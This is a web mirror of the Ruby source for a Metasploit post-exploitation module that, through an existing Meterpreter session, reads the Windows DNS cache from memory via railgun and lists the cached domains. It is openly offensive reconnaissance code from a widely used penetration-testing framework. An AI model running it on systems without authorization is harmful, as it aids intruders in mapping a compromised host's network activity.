CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/dnscache_dump.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
8
def initialize(info = {})
9
super(
10
update_info(
11
info,
12
'Name' => 'Windows Gather DNS Cache',
13
'Description' => %q{ This module displays the records stored in the DNS cache.},
14
'License' => MSF_LICENSE,
15
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
16
'Platform' => [ 'win' ],
17
'SessionTypes' => [ 'meterpreter' ],
18
'Compat' => {
19
'Meterpreter' => {
20
'Commands' => %w[
21
stdapi_railgun_api
22
stdapi_railgun_memread
23
]
24
}
25
}
26
)
27
)
28
end
29
30
def run
31
rtable = Rex::Text::Table.new(
32
'Header' => 'DNS Cached Entries',
33
'Indent' => 3,
34
'Columns' => ['TYPE', 'DOMAIN']
35
)
36
37
client.railgun.add_dll('dnsapi') if !client.railgun.get_dll('dnsapi')
38
client.railgun.add_function('dnsapi', 'DnsGetCacheDataTable', 'DWORD', [['PBLOB', 'cacheEntries', 'inout']])
39
result = client.railgun.dnsapi.DnsGetCacheDataTable('aaaa')
40
address = result['cacheEntries'].unpack1('V')
41
42
# typedef struct _DNS_CACHE_ENTRY
43
# struct _DNS_CACHE_ENTRY* pNext;
44
# PWSTR pszName;
45
# unsigned short wType;
46
# unsigned short wDataLength;
47
# unsigned long dwFlags;
48
49
while (address != 0)
50
struct_pointer = client.railgun.memread(address, 10)
51
# Get the pointer to the DNS record name
52
domain_pointer = struct_pointer[4, 4].unpack1('V')
53
dns_type = struct_pointer[8, 2].unpack1('h*').reverse
54
# According to the restrictions on valid host names, we read a maximum of 255 characters for each entry
55
domain_name = client.railgun.memread(domain_pointer, 255).split("\x00\x00").first
56
rtable << [dns_type, domain_name]
57
# Get the next _DNS_CACHE_ENTRY struct pointer
58
address = struct_pointer[0, 4].unpack1('V')
59
end
60
print_status(rtable.to_s)
61
end
62
end
63
64